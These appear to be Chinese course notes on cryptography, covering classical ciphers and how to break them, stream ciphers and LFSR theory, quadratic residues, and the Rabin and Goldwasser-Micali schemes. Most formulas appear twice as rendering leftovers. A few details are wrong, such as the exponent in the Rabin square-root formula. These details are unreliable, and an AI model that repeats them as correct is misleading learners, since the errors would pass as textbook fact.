  2. 密码学与隐写术的区别:隐写术通过隐藏消息的存在来保护消息,常用手段有:隐形墨水、字符格式变化、图形图像等,而密码学是将消息本身加密成为密文后发送,可以隐藏,也可以不隐藏,关键不在于隐藏,而在于解密。
  3. 发送者将消息通过不安全信道发送给接受者,想要确保除了接受者之外没有其他人能够阅读发送的消息。
  4. 明文:要传输的消息;密文:加密后的消息;加密:用某种方法伪装消息以隐藏其内容的过程;解密:将密文还原为明文的过程;秘钥:预先确定的用于加解密过程的参数。
  5. 加密算法:对明文加密操作采用的一组规则;解密算法:对密文解密采用的一组规则;密码算法:用于加密和解密的数学函数。
  6. 按明文处理方式可将密码分为分组密码和流密码。分组密码事先将明文分成若干组,对每组采用同样的加密方式加密,再将每组加密的密文相接形成密文。流密码分组后对每一组使用不同加密方式加密,然后将密文相接形成总的密文。按明文保密条件可分为受限制算法和基于秘钥算法。
    (1) 受限制的算法:安全性基于算法的保密性(这种密码实际上并不安全)
    (2) 基于密钥的算法:安全性基于密钥的安全性,算法本身可以公开。基于密钥的算法通常分为对称密码算法和公开密钥算法(Kerckhoffs假设)。其中对称加密算法是指加密密钥和解密密钥相同或可以互相推导的密码算法,公开密钥算法的加密密钥和解密密钥实质不同,已知信息下无法相互推导(非对称密钥算法)。
  7. 加密通信模型:Alice和Bob双方通过加密机和解密机进行密文解密和明文加密,将密文通过不安全信道传输,不安全信道中有攻击者Oscar截获明文。对称密钥系统存在一个密钥源为Alice和Bob双方分配密钥,分配密钥的过程完全安全,Oscar无法窃听;非对称密钥系统中的密钥源是公开的,任何人都能够互获取,但Alice和Bob都有自己不公开的私钥用于解密。
  8. 密码体制数学描述:
    一个五元组$$(P, C, K, E, D)$$满足条件:
    (1) P为可能明文的有限集(明文空间)
    (2) C为可能密文的有限集(密文空间)
    (3) K为一切可能密钥构成的有限集(密钥空间)
    (4) E是加密算法的有限集
    (5) D是解密算法的有限集
    (6) 对 kK,ekE,dkDek:PC,dk:CP,dk(ek(x))=x(xP)\forall k \in K , \exist e_k \in E, \exist d_k \in D \Rightarrow e_k: P \rightarrow C, d_k: C \rightarrow P, d_k(e_k(x)) = x (x \in P) (加密函数必须为单射函数,否则一个明文可能解密出多个密文)
  9. 古典密码实现技术:
    (1) 代换:加密将明文字符按对应关系代换为对应的密文字符,解密则反过来操作。密钥为明密文字符之间的对照关系。包含:单表代换、多表代换(维吉尼亚密码)、多字符代换等。
    (2) 置换:将明文字符按照一定规则移动位置得到密文,字符本身不变。解密则反过来进行。密钥为移位规则。

二、几种古典密码

  1. 移位密码
    将字母表中每个字母向后移动若干位作为密文字符。可通过密文字符频率分析破解或暴力破解(唯密文攻击)aba b
    数学描述:
    P=C=K=Z26P = C = K = Z_{26}
    k,x,yZ26k, x, y \in Z_{26},定义有
    ek(x)=(x+k)mod26e_k(x) = (x+k) \mod 26
    dk(y)=(yk)mod26d_k(y) = (y-k) \mod 26
    k=3时称为凯撒密码
  2. 代换密码
    建立一个明文字符与密文字符的一一对应关系,将明文对应字符替换为密文字符。也可以通过密文字符频率破解(唯密文攻击)
    数学描述:
    P=C=Z26P = C = Z_{26}
    K是由26个数字0, 1, … 25所有可能的置换组成
    对任意置换πK\pi \in K,定义有
    eπ(x)=π(x),dπ(y)=π1(y)e_\pi(x) = \pi(x), d_\pi(y) = \pi^{-1}(y)
  3. 仿射密码
    其机制与移位密码类似,将明文字符通过模线性变换ax+b成为密文字符。可通过密文字符频率破解(唯密文攻击)
    数学描述:
    P=C=Z26P = C = Z_{26}
    K={(a,b)Z26×Z26:gcd(a,26)=1}K=\{(a,b)\in Z_{26}\times Z_{26}: \gcd(a,26)=1\}
    k=(a,b)Kx,yZ26\forall k=(a,b)\in K, x,y\in Z_{26},定义
    ek(x)=(ax+b)mod26,dk(y)=a1(yb)mod26e_k(x)=(ax+b)\mod 26, d_k(y)=a^{-1}(y-b)\mod 26
    其中gcd(a,26)=1\gcd(a,26)=1是为了满足单射的条件。
    当a=1时即为移位密码
  4. 维吉尼亚密码
    维吉尼亚密码选择一个字符串作为密钥,并将明文按照字符串长度分为长度相等的若干组,对于每一组中的明文字符,按照对应位置密文的字母确定移位数量。破解方式较上述三种复杂,但仍能进行唯密文攻击。
    数学表述:
    P=C=K=(Z26)mP = C = K = (Z_{26})^m,m为正整数
    k=(k1,k2,...,km)K,x=(x1,x2,...,xm)P,y=(y1,y2,...,ym)\forall k=(k_1, k_2, ..., k_m)\in K, x = (x_1, x_2, ..., x_m)\in P, y=(y_1, y_2, ..., y_m),定义有
    ek(x)=(x1+k1,x2+k2,...,xm+km)e_k(x)=(x_1+k_1, x_2+k_2, ...,x_m+k_m)
    dk(y)=(y1k1,y2k2,...ymkm)d_k(y)=(y_1-k_1,y_2-k_2,...y_m-k_m)
    (以上运算均在模26下进行)
  5. 希尔密码
    希尔密码的加密方式可以说是仿射密码、移位密码、代换密码的超集。将明文字符串分为长度相等的若干组,对每一组进行相同的矩阵乘法(也就是一种较仿射密码更加复杂的线性变换),获取结果即为密文。
    数学描述:
    P=C=(Z26)mP = C = (Z_{26})^m,m为不小于2的正整数
    K是定义在Z26Z_{26}上的m×mm\times m可逆矩阵的集合
    取密钥kKk \in K,k为一个m×mm\times m矩阵,记为(kij)(k_{ij}),对于x=(x1,x2,...,xm)P,y=(y1,y2,...,ym)Cx=(x_1, x_2, ..., x_m)\in P, y=(y_1, y_2, ..., y_m)\in C,定义有
    ek(x)=xk,dk(y)=yk1e_k(x)=xk, d_k(y)=yk^{-1}
    (以上运算均在模26下进行)
  6. 置换密码
    将明文打乱顺序变为密文。
    数学描述:
    P=C=(Z26)mP = C = (Z_{26})^m,m为正整数
    K是由所有定义在集合{1, 2, …, m}上的置换组成
    对于任意密钥π\pi,定义
    eπ(x1,x2,...xm)=(xπ(1),xπ(2),...,xπ(m))e_\pi(x_1,x_2,...x_m)=(x_{\pi(1)},x_{\pi(2)},...,x_{\pi(m)})
    dπ(y1,y2,..,ym)=(yπ1(1),xπ1(2),...,xπ1(m))d_\pi(y_1,y_2,..,y_m)=(y_{\pi^{-1}(1)},x_{\pi^{-1}(2)},...,x_{\pi^{-1}(m)})
    置换密码实际上是希尔密码的特殊形式,其置换矩阵与排列有关。置换矩阵的行数和列数等于一组字符数量,如果这一组中明文第i个位置被换成了第j个位置的元素,则第i列的第j个数为1。

三. 古典密码分析

  • 概念
    密码分析:分析者在已知密码体制(密码算法及实现的全部详细资料)的前提下破译使用的密钥。
    常用密码分析攻击有4类:
    唯密文攻击(COA):攻击者仅掌握密文的攻击
    已知明文攻击(KPA):攻击者知道不由他控制的明文以及对应的密文
    选择明文攻击(CPA):攻击者可以在一定程度上选择明文获取密文
    选择密文攻击(CCA):攻击者可以在一定程度上选择密文获取明文
    这4种攻击方式依次增强,如果一种加密算法能够抵抗后面的攻击,那么也一定能够抵抗前面的攻击。
  • 古典密码攻击要点
    只有当密文长度足够长时,才能够分析大多数古典密码。
    只能分析由有具体语义明文加密而来的密文,否则即使解密完成也不知道解密出来的是不是密文。
    通常需要使用英文字母频率分析与反复猜测。
  • 英文字母频率规律
    第1档:E出现次数远多于其他字母
    第2档:TAOINSHR
    第3档:CUMWFGYPB
    第4档:VKJXQZ
    常见双字母固定序列:TH HE IN ER AN RE ED ON ES ST EN AT TO NT HA ND OU EA NG AS OR TI IS ET IT AR TE SE HI OF
    常见三字母固定序列:THE ING AND HER ERE ENT THA NTH WAS ETH FOR DTH
    根据经验,有些字母不可能组合出现与同一个单词之中,如j和所有辅音字母相邻的概率都极低。
    根据密文字母出现频率高低进行猜测和验证,得到密文越长,越符合统计规律

1. 仿射密码分析

分析仿射密码需要得到a与b的值,通过密文中字母的出现频率猜测出现频率最高的是什么字母,只需猜测两个字母便可以列方程组求解。注意解a须与26互素,否则猜测错误。

2. 代换密码分析

分析代换密码采用与仿射密码类似的方法,使用字频分析,逐一猜测,根据经验,最早被破译的通常是’the’,要查找文本看看有没有多次存在的3字符序列。

3. 维吉尼亚密码分析

维吉尼亚密码分析较为复杂。由于其是多表代换,因此需要首先确认每一组字符的长度,这里应该使用Kasiski测试法:在密文中找到相同的3字符或以上序列,找出它们所在的起始位置,对这些位置的差求公因数,这些公因数之一就很可能是密钥的长度。

确认密钥字长度m也可以使用重合指数法。

  • 重合指数法
    • 在一个字符串X中随机取出两个字母,这两个字母恰好相同的概率记为Ic(X)I_c(X)
    • 对于完全随机字符串,Ic(X)I_c(X)=1/26,约为0.038
    • 对于英文文本,Ic(X)=i=025pi20.065I_c(X)=\sum_{i=0}^{25}p_i^2\approx 0.065
    • 在单表代换密码中,密文的重合指数应该与明文相同。
      将密文按照密钥字长度分为m段,每一段的重合指数应该接近于0.065,通过尝试不同的m可以获取重合指数最为接近0.065的那一个m就是密钥字长度。
    • 对于一段确定的英文文本,计算重合指数的公式为:Ic(X)=i=025fi(fi1)n(n1)I_c(X)=\frac{\sum_{i=0}^{25}f_i(f_i-1)}{n(n-1)},其中fif_i为每个密文字母的出现次数(频数)
    • 确认密钥的长度之后,对于分出来的每一段密文,其中每一个密文字符相对于明文字符的偏移都是相同的。这里仍然可以使用重合指数法计算偏移量。计算方法:密文转换成明文之后,其明文的重合指数应该近似于0.065,因此对于每一个偏移量,均计算一次其与明文的重合指数,最接近于0.065的即为正确偏移量。计算公式:Mg=i=025pi×fi+gnM_g=\sum_{i=0}^{25}p_i\times \frac{f_{i+g}}{n'},其中pip_i为每个字母在英文中出现的概率,fif_i是每个字母在密文中出现的次数,nn'是这一段密文的长度。

4. 希尔密码分析

破译希尔密码的关键是找到转换矩阵,其难以通过唯密文攻击破解,但可以很容易通过已知明文攻击破译。知道明文和密文之后,就可以直接计算出矩阵的值:Y=XKK=X1YY=XK\rightarrow K=X^{-1}Y,前提是需要知道密钥矩阵的阶数。

四. 流密码

1. 概念

之前的古典密码中对于连续明文元素使用相同密钥K加密,与分组密码的区别是:需要设计复杂的加密函数提高安全性,而且经常需要对明文进行填充以确保分组长度完整。

流密码将明文看做字符串或者比特串,逐字符或逐位进行加密。为防止密钥穷举,使用与明文长度相等的密钥(无限)流进行加密。关键在于如何生成密钥流。

2. Vernam 密码

密钥与明文一样长且没有统计规律的加密。

加密:Ci=Pi+Kimod26,Ci=PiKiC_i=P_i+K_i\mod 26, C_i=P_i\oplus K_i
解密:Pi=CiKimod26,Pi=CiKiP_i=C_i-K_i\mod 26, P_i=C_i\oplus K_i

需要构造与明文一样长的随机密钥。(这样的密钥不能重复,否则无法对抗已知明文攻击)

3. 流密码特点

运算简单,实时性强,安全性依赖于密钥流产生方法

4. 流密码分类

按照密钥周期性分类分为周期流密码和非周期流密码
周期流密码:存在某一个固定正整数r使得密钥流每隔r个字符以后重复
非周期流密码:对于任何正整数密钥都不重复,如一次一密乱码本

按照密钥产生方式分为同步流密码和异步流密码
同步流密码:密钥流的产生独立于消息流,如分组密码中的OFB(输出反馈)模式
异步流密码:每一个密钥字符都是由前面n个明文或密文字符推导出来的,其中n为定值。如分组密码中的CFB(密码反馈)模式

5. 同步流密码

使用某种算法,由一个初始密钥变换出于明文串相互独立的密钥流。数学定义如下:

同步流密码是一个六元组(P,C,K,L,E,D)(P,C,K,L,E,D)和一个函数gg,且满足以下条件:

  1. P,C,KP,C,K分别为明文、密文、密钥的有限集
  2. LL是密钥流字母表有限集
  3. gg是密钥流生成器,g使用密钥kKk\in K作为输入,产生无限长的密钥流Z=z1z2...Z=z_1z_2...,其中z1Lz_1\in L
  4. 对于任意zLz\in L,都有一个加密规则(函数)ez:PCEe_z:P\rightarrow C\in E和相应的解密规则(函数)dz:CPDd_z:C\rightarrow P\in D,并且对于每个明文xPx\in P满足dz(ez(x))=xd_z(e_z(x))=x

6. 流密码与分组密码的关系

分组密码可以用于生成密钥序列
维吉尼亚密码可以看做流密码的一种特殊情况(一种短周期同步流密码,密钥流是周期为m的密钥序列)

7. 密钥流生成

多使用线性递推关系产生伪随机序列(与多种高级语言的随机函数类似),这一类随机函数需要一个种子,被称为初始向量,线性递推算法可以使用硬件实现,此硬件称为线性反馈移位寄存器(LFSR)

8. 异步流密码

同步流密码存在有周期问题,异步流密码的密钥流由于与明文元素或密文元素有关,因此不存在周期问题。

9. 自动密钥密码体制:异步流密码示例

一个六元组(P,C,K,L,E,D)(P,C,K,L,E,D),满足:

  1. P=C=K=L=Z26P=C=K=L=Z_{26}
  2. 密钥流定义:z1=kK,zi=xi1,i2z_1=k\in K, z_i=x_{i-1}, i\ge 2
  3. 对于zK,x,yZ26\forall z\in K, x,y\in Z_{26},定义

ez(x)=(x+z)mod26,dz(y)=(yz)mod26e_z(x)=(x+z)\mod 26, d_z(y)=(y-z)\mod 26

10.线性移位反馈寄存器(LFSR)

对于流密码,需要通过随机序列进行加密,但真正随机的序列难以应用,一般使用一个种子生成出一个伪随机的流密钥。
这种方式可以通过硬件方式实现,即LFSR,第n+1位由前面n位中某些位的异或得到。

an+1=cna1cn1a2...c1ana_{n+1}=c_na_1\oplus c_{n-1}a_2\oplus ...\oplus c_1a_n

上式中的ci是固定值。

定义1 周期序列:存在正整数t,满足对于任意的k0,ak+t=akk\ge 0,a_{k+t}=a_k,其中最小的正整数t称为序列的周期,序列称为周期序列。
定义2 特征多项式:设q元n级线性反馈移位寄存器的递推公式为:

an=cna0cn1a1...c1an1,ciFq,cn=1a_{n}=c_na_0\oplus c_{n-1}a_1\oplus ...\oplus c_1a_{n-1},c_i\in F_q,c_n=1

其变换矩阵T定义为

T=(000...cn100...cn1010...cn2...............00...1c1)T=\begin{pmatrix}0 & 0 & 0 & ... & c_n\\ 1&0&0&...&c_{n-1}\\ 0&1&0&...&c_{n-2}\\ ...&...&...&...&...\\ 0&0&...&1&c_1\end{pmatrix}

(a0,a1,...,an1)T=(a1,a2,...,an)(a_0,a_1,...,a_{n-1})T=(a_1,a_2,...,a_n)
矩阵T的特征多项式f(x)=xIT=xnc1xn1...cn1xcnf(x)=|xI-T|=x^n-c_1x^{n-1}-...-c_{n-1}x-c_n称为n级线性反馈移位寄存器L的特征多项式
定义3 设T为Fq上n级LFSR的变换矩阵,I是n×n单位矩阵,使得Tk=I成立的最小的正整数k称为变换矩阵T的周期,记为ρ(T)\rho(T)
定义4 可满足多项式:设f(x)Fq[x],f(0)0f(x)\in F_q[x],f(0)\ne 0,如果f(T)=0f(T)=0,则称f(x)为T可满足的多项式。所有T可满足的多项式中,次数最低的首1多项式称为T的极小多项式(与信数的极小多项式定义不太相同,这里的多项式不一定不可约),满足f(x)xk1f(x)|x^k-1的最小正整数称为f(x)f(x)的周期,记为ρ(f)\rho(f)
引理1f(x)Fq[x]f(x)\in F_q[x]是首1不可约多项式,f(0)0f(0)\ne 0,则ρ(f)\rho(f)等于有限域Fq[x]f(x)F_q[x]_{f(x)}中元素x的阶。
引理2f(x)Fq[x]f(x)\in F_q[x]是首1多项式,f(0)0,f(x)=g(x)bf(0)\ne 0,f(x)=g(x)^b,其中g(x)g(x)Fq[x]F_q[x]中的不可约多项式,char(Fq)=pchar(F_q)=p,t是使得ptbp^t\ge b的最小正整数,则有ρ(f)=ρ(g)pt\rho(f)=\rho(g)p^t
证明:
g(x)xρ(g)1g(x)|x^{\rho(g)}-1(拉格朗日定理)g(x)pt(xρ(g)1)pt\Rightarrow g(x)^{p^t}|(x^{\rho(g)}-1)^{p^t}
char(Fq)=p,ptb,g(x)pt(xρ(g)1)ptf(x)xρ(g)pt1char(F_q)=p,p^t\ge b,g(x)^{p^t}|(x^{\rho(g)}-1)^{p^t}\Rightarrow f(x)|x^{\rho(g)p^t}-1
另一方面,f(x)xρ(f)1,f(x)(xρ(f)1,xρ(g)pt1)=x(ρ(f),ρ(g)pt)1f(x)|x^{\rho(f)}-1,\therefore f(x)|(x^{\rho(f)}-1,x^{\rho(g)p^t}-1)=x^{(\rho(f),\rho(g)p^t)}-1
ρ(f)=(ρ(f),ρ(g)pt),ρ(f)ρ(g)pt\therefore \rho(f)=(\rho(f),\rho(g)p^t),\rho(f)|\rho(g)p^t(信数定理,ρ(f)\rho(f)应该是满足f(x)xm1f(x)|x^m-1的最小次数)
同样,g(x)f(x)g(x)xρ(f)1ρ(g)ρ(f)g(x)|f(x)\Rightarrow g(x)|x^{\rho(f)}-1\Rightarrow \rho(g)|\rho(f)
这说明ρ(f)\rho(f)是形如ρ(g)ps(0st)\rho(g)p^s(0\le s\le t)的整数
ρ(f)=ρ(g)ps,s<t,ps<b,f(x)xρ(g)ps1,g(x)bxρ(g)ps1=(xρ(g)1)ps\rho(f)=\rho(g)p^s,s<t,p^s<b,f(x)|x^{\rho(g)p^s}-1,g(x)^b|x^{\rho(g)p^s}-1=(x^{\rho(g)}-1)^{p^s}
g(x)bps(xρ(g)1g(x))psg(x)(xρ(g)1g(x))psg(x)(xρ(g)1g(x))g(x)2xρ(g)1g(x)^{b-p^s}|(\frac{x^{\rho(g)}-1}{g(x)})^{p^s}\Rightarrow g(x)|(\frac{x^{\rho(g)}-1}{g(x)})^{p^s}\Rightarrow g(x)|(\frac{x^{\rho(g)}-1}{g(x)})\Rightarrow g(x)^2|x^{\rho(g)}-1(说明xρ(g)1x^{\rho(g)}-1应该有重因式)
(ρ(g),p)=1,(xρ(g)1,(xρ(g)1))=1(\rho(g),p)=1,(x^{\rho(g)}-1,(x^{\rho(g)}-1)')=1
xρ(g)1\therefore x^{\rho(g)}-1无重因式,矛盾(信数定理)。故原命题成立
引理3f(x)Fq[x]f(x)\in F_q[x]是首1多项式,f(0)0f(0)\ne 0,且f(x)=i=1sfi(x)f(x)=\prod_{i=1}^sf_i(x),其中fi(x)f_i(x)Fq[x]F_q[x]中两两互素的多项式,则ρ(f)=[ρ(f1),ρ(f2),...,ρ(fs)]\rho(f)=[\rho(f_1),\rho(f_2),...,\rho(f_s)]
证明:
fi(x)xρ(fi)1,ρ(fi)[ρ(f1),ρ(f2),...,ρ(fs)]f_i(x)|x^{\rho(f_i)}-1,\rho(f_i)|[\rho(f_1),\rho(f_2),...,\rho(f_s)]
fi(x)x[ρ(f1),ρ(f2),...,ρ(fs)]1\Rightarrow f_i(x)|x^{[\rho(f_1),\rho(f_2),...,\rho(f_s)]}-1
ρ(f)[ρ(f1),ρ(f2),...,ρ(fs)]\Rightarrow \rho(f)|[\rho(f_1),\rho(f_2),...,\rho(f_s)]fi(x)f_i(x)两两互素!)
fi(x)f(x),f(x)xρ(f)1f_i(x)|f(x),f(x)|x^{\rho(f)}-1
fi(x)xρ(f)1ρ(fi)ρ(f)\Rightarrow f_i(x)|x^{\rho(f)}-1\Rightarrow \rho(f_i)|\rho(f)
[ρ(f1),ρ(f2),...,ρ(fs)]ρ(f)\Rightarrow [\rho(f_1),\rho(f_2),...,\rho(f_s)]|\rho(f)
ρ(f)=[ρ(f1),ρ(f2),...,ρ(fs)]\therefore \rho(f)=[\rho(f_1),\rho(f_2),...,\rho(f_s)]
定理1TT的极小多项式为h(x)Fq[x]h(x)\in F_q[x],若f(x)Fq[x]f(x)\in F_q[x]满足f(T)=0f(T)=0,那么h(x)f(x)h(x)|f(x)
定理2TTFqF_q上n级线性反馈移位寄存器L的变换矩阵,T的特征多项式为f(x)f(x),那么f(x)f(x)是T的极小多项式
定理3TTFqF_q上n级线性反馈移位寄存器L的变换矩阵,T的特征多项式为f(x)f(x),那么ρ(T)=ρ(f)\rho(T)=\rho(f)
定理4 给定FqF_q上任意一个非零周期序列aa,可以找到一个能产生序列aa的线性反馈移位寄存器L,它的特征多项式f(x)f(x)满足:对于可产生aa的任意线性反馈移位寄存器,若其特征多项式为g(x),都有f(x)g(x)f(x)|g(x)。满足上述条件的f(x)唯一
定义5 定理4描述的首1特征多项式f(x)为序列aa的极小多项式
定理5 非零周期序列aa的周期等于其极小多项式f(x)的周期

m序列的伪随机性:
(1) 若t为奇数,则0-1序列的一个周期内0的个数比1的个数多1个或少1个,若t为偶数则其个数相等
(2) 在长度为t的周期内,1游程的个数为游程总数的1/2,2游程的个数为总数的1/22,以此类推。(n游程:连续的n个0或1序列,且前后为1或0。如00110001中第2~3为是一个1的2游程)
(3) 异相自相关函数为常数(自相关函数:定义在Z2上的周期序列a0a1…则ca(τ)=i=0t1η(ai)η(ai+τ),τZc_a(\tau)=\sum_{i=0}^{t-1}\eta(a_i)\eta(a_{i+\tau}),\tau\in Z,其中η\eta是Z2上的加法群到{1,-1}的乘法群的同构η(0)=1,η(1)=1\eta(0)=1,\eta(1)=-1,有η(a+b)=η(a)η(b)\eta(a+b)=\eta(a)\eta(b)
平衡特性:m序列1个数比0个数多1
游程特性:1的最大游程为n游程,有且仅有1个;1个0的n-1游程。n>2时,设r为不超过n-2的任一整数,则任何1的r游程数目为1+r=1n22nr2=2n21+\sum_{r=1}^{n-2}2^{n-r-2}=2^{n-2};出现0游程的个数为2n22^{n-2},游程总数为2ni2^{n-i}
自相关特性:ca(τ)=i=02n2η(ai)η(ai+τ)=2n1,τ0(mod2n1);=1,τ0(mod2n1)c_a(\tau)=\sum_{i=0}^{2^n-2}\eta(a_i)\eta(a_{i+\tau})=2^n-1,\tau\equiv 0(\mod 2^n-1); =-1, \tau \ne 0(\mod 2^n-1)

异步流密码的加密和解密是一个对称的加解密过程。

LFSR流密码分析:

分析目标为:获取LFSR的结构(即密钥——LFSR的初态z0,z1,…和递推公式[抽头序列c1,c2,…]),使用唯密文攻击较为困难,使用一直明文攻击。
zk=j=1ncjzkjz_k=\sum_{j=1}^nc_jz_{k-j}
如果能够得到长度不小于2n的明文-密文对,就容易求出其初态和抽头序列(假设n已知)
密钥比特流可以直接将明密文求和得到,其中前面的一组作为初态

(zn,zn+1,...,z2n1)=(cn,cn1,...,c1)(z0z1...zn1z1z2...zn............zn1zn...z2n2)(z_n,z_{n+1},...,z_{2n-1})=(c_n,c_{n-1},...,c_1)\begin{pmatrix}z_0 & z_1 & ... & z_{n-1}\\ z_1&z_2&...&z_n\\ ...&...&...&...\\ z_{n-1}&z_n&...&z_{2n-2}\end{pmatrix}

根据上式可计算(cn,cn1,...,c1)(c_n,c_{n-1},...,c_1)的值

定义4.1 设m为正整数,若同余式x2a(modm),(a,m)=1x^2\equiv a(\mod m),(a,m)=1,有解,则a称为模m的二次剩余,否则称为模m的二次非剩余

定义4.2 勒让德符号:(ap)(\frac{a}{p}),当a为模p的二次剩余时,值为1;非2次剩余时值为-1,若pap|a则值为0

定理4.1 p为素数,若ab(modp)a\equiv b(\mod p),则(ap)=(bp)(\frac{a}{p})=(\frac{b}{p})
求同余式x2a(modp)x^2\equiv a(\mod p)的解可以看成是在有限域Zp\mathbb Z_p中求多项式x2ax^2-a的根。

定理4.2 欧拉判别法则:p为奇素数,则对于任意整数a,(ap)ap12(modp)(\frac{a}{p})\equiv a^{\frac{p-1}{2}}(\mod p)
证明:
ggZp\mathbb Z_p的本原元,则Zp={g0,g1,...,gp2}\mathbb Z_p^*=\{g^0,g^1,...,g^{p-2}\}
对于所有0ip120\le i\le \frac{p-1}{2}(g2i)p12=(gp1)i=1,(g2i+1)p12=(gp1)igp12,gp12=1(g^{2i})^{\frac{p-1}{2}}=(g^{p-1})^i=1,(g^{2i+1})^{\frac{p-1}{2}}=(g^{p-1})^ig^{\frac{p-1}{2}},g^{\frac{p-1}{2}}=-1(由g为本原元可知gp121g^{\frac{p-1}{2}}\ne 1,但(gp12)2=1(g^{\frac{p-1}{2}})^2= 1,故其只能为-1),故(gp12)2i+1=1(g^{\frac{p-1}{2}})^{2i+1}=-1
由于考虑模p的二次同余式,因此a可以看做是Zp\mathbb Z_p中与之同余等价的元素
ag2i(modp),0i<p12a\equiv g^{2i}(\mod p),0\le i<\frac{p-1}{2},多项式x2a=x2g2ix^2-a=x^2-g^{2i}有根±gi,故(ap)=1ap12(modp)(\frac{a}{p})=1\equiv a^{\frac{p-1}{2}}(\mod p)
ag2i+1(modp),0i<p12a\equiv g^{2i+1}(\mod p),0\le i<\frac{p-1}{2},多项式x2a=x2g2i+1x^2-a=x^2-g^{2i+1}一定没有根。否则若x02=g2i+1x_0^2=g^{2i+1},那么1=(x02)p12=(g2i+1)p12=11=(x_0^2)^{\frac{p-1}{2}}=(g^{2i+1})^{\frac{p-1}{2}}=-1矛盾。故(ap)=1ap12(modp)(\frac{a}{p})=-1\equiv a^{\frac{p-1}{2}}(\mod p)

由上述定理可知,模p的二次剩余有p12\frac{p-1}{2}个(本原元的所有偶数次幂)

推论 设p为奇素数,则
(1p)=1(\frac{1}{p})=1
(1p)=(1)p12(\frac{-1}{p})=(-1)^\frac{p-1}{2}
(abp)=(ap)(bp)(\frac{ab}{p})=(\frac{a}{p})(\frac{b}{p})
(anp)=(ap)n,n>0(\frac{a^n}{p})=(\frac{a}{p})^n,n>0

定理4.3 设p为奇素数,则(2p)=(1)p218(\frac{2}{p})=(-1)^{\frac{p^2-1}{8}}
证明:构造证明
(p1)!135...(p2)24...(p1)(p-1)!\equiv 1\cdot 3\cdot 5\cdot ... \cdot (p-2)\cdot 2\cdot 4\cdot ... \cdot (p-1)
对于4k+1型的p有
1(p2)3(p4)5...p32(pp12)2p12(p12!)(modp)\equiv 1\cdot (p-2)\cdot 3\cdot (p-4)\cdot 5\cdot ...\cdot \frac{p-3}{2}\cdot (p-\frac{p-1}{2})\cdot 2^{\frac{p-1}{2}}\cdot (\frac{p-1}{2}!)(\mod p)(后面一半所有偶数提个2出来,前半部分可以交替提一个-1)
(1)p142p12(p12!)2(modp)\equiv (-1)^{\frac{p-1}{4}}\cdot 2^{\frac{p-1}{2}}\cdot(\frac{p-1}{2}!)^2(\mod p)
对于4k+3型的p有
1(p2)3(p4)5...(pp32)p122p12(p12!)(modp)\equiv 1\cdot (p-2)\cdot 3\cdot (p-4)\cdot 5\cdot ...\cdot(p-\frac{p-3}{2})\cdot\frac{p-1}{2}\cdot 2^{\frac{p-1}{2}}\cdot (\frac{p-1}{2}!)(\mod p)
(1)p342p12(p12!)2(modp)\equiv (-1)^{\frac{p-3}{4}}\cdot 2^{\frac{p-1}{2}}\cdot(\frac{p-1}{2}!)^2(\mod p)
Wilson定理知(p1)!1(modp)(p-1)!\equiv -1(\mod p),及(p12!)2(1)p+12(modp)(\frac{p-1}{2}!)^2\equiv(-1)^{\frac{p+1}{2}}(\mod p) (转化为(1)p12(p1)!(-1)^{\frac{p-1}{2}}(p-1)! 可知当p±1(mod8)p\equiv ±1(\mod 8)时,2p121(modp)2^{\frac{p-1}{2}}\equiv 1(\mod p),当p±3(mod8)p\equiv ±3(\mod 8)时,2p121(modp)2^{\frac{p-1}{2}}\equiv -1(\mod p),综合验证得2p12(1)p218(modp)2^{\frac{p-1}{2}}\equiv(-1)^{\frac{p^2-1}{8}}(\mod p),由欧拉判别法则(2p)=(1)p218(\frac{2}{p})=(-1)^{\frac{p^2-1}{8}}

定理4.4 二次互反律:p,q是互素奇素数,则(qp)=(1)p12q12(pq)(\frac{q}{p})=(-1)^{\frac{p-1}{2}\frac{q-1}{2}}(\frac{p}{q})
证明:太复杂了,不要求掌握

定义4.3 雅可比符号:m=i=1npi,pim=\prod_{i=1}^np_i,p_i是奇素数,对于任意整数a定义a模m的雅可比符号为(am)=i=1n(api)(\frac{a}{m})=\prod_{i=1}^n(\frac{a}{p_i}),m为奇素数时,其雅克比符号就是勒让德符号。

定理4.5 设m为正奇数,ab(modm)(am)=(bm)a\equiv b(\mod m)\Rightarrow (\frac{a}{m})=(\frac{b}{m})

定理4.6 设m为正奇数,则
(1) (1m)=1(\frac{1}{m})=1
(2) (abm)=(am)(bm)(\frac{ab}{ m})=(\frac{a}{m})(\frac{b}{m})
(3) (anm)=(am)n(\frac{a^n}{m})=(\frac{a}{m})^n
(4) (1m)=(1)m12(\frac{-1}{m})=(-1)^{\frac{m-1}{2}}
(5) (2m)=(1)m218(\frac{2}{m})=(-1)^{\frac{m^2-1}{8}}

定理4.7 设m,n为正奇数,则(nm)=(1)m12n12(mn)(\frac{n}{m})=(-1)^{\frac{m-1}{2}\frac{n-1}{2}}(\frac{m}{n})

定义4.4 二次剩余问题:未知n的分解式的情况下,一般性地判断一个整数a是否是模n的二次剩余是一个难解的问题,称为二次剩余问题。

加密算法1——Rabin加密算法
Alice选择两个4k+3型的素数(称为Blum素数)p,q,计算n=pq,将p,q作为私钥公开n。
加密:明文为整数m,密文c=m2(mod n)
解密:解同余方程c=x2(mod n)可以得到4个解,选择其中有意义的解作为明文m。

计算方法——a=x2(mod p),p=4k+3的解法
若上式有解,则在[0,p-1]中一定有解,因此数字不大时可以对a一直加p直到找到一个完全平方数即可(这种方法对p无4k+3的限制,但是p很大时不方便)
(ap)=1(\frac{a}{p})=1由欧拉判别法则ap121(modp)a^{\frac{p-1}{2}}\equiv 1(\mod p),故有(ap14)2a(modp)(a^{\frac{p-1}{4}})^2\equiv a(\mod p),故解为x±ap14(modp)x\equiv ±a^{\frac{p-1}{4}}(\mod p)

加密算法2——Goldwasser-Micali加密算法
Alice选择两个不同的素数p,q,和整数y满足(yp)=(yq)=1(\frac{y}{p})=(\frac{y}{q})=-1。计算n=pq,p和q座位私钥公开n,y
加密:将二进制整数m作为明文,第i位记为bi,对于每一位,随机选择0<xi<n,若该位为0计算ci=xi2(mod n),否则计算ci=yxi2(mod n),密文为所有的c
解密:若ci为模n的二次剩余,则判断bi=0,否则bi=1

定义4.5 设<g>是一个由元素g生成的一个n元循环群,则对于任意a∈<g>,存在0≤i<n,a=gi,称i为以g为底a的指标,记作indga。求指标的问题,在密码学中通常称为离散对数问题。n充分大的整数时求解离散对数问题为一个难解问题。

定理4.8 设<g>是一个n元循环群,a∈<g>,如果对于正整数m有:
(1) am=e
(2) 对于任意素因子p|m,ampea^{\frac{m}{p}}\ne e,则ord(a)=m,且m|n

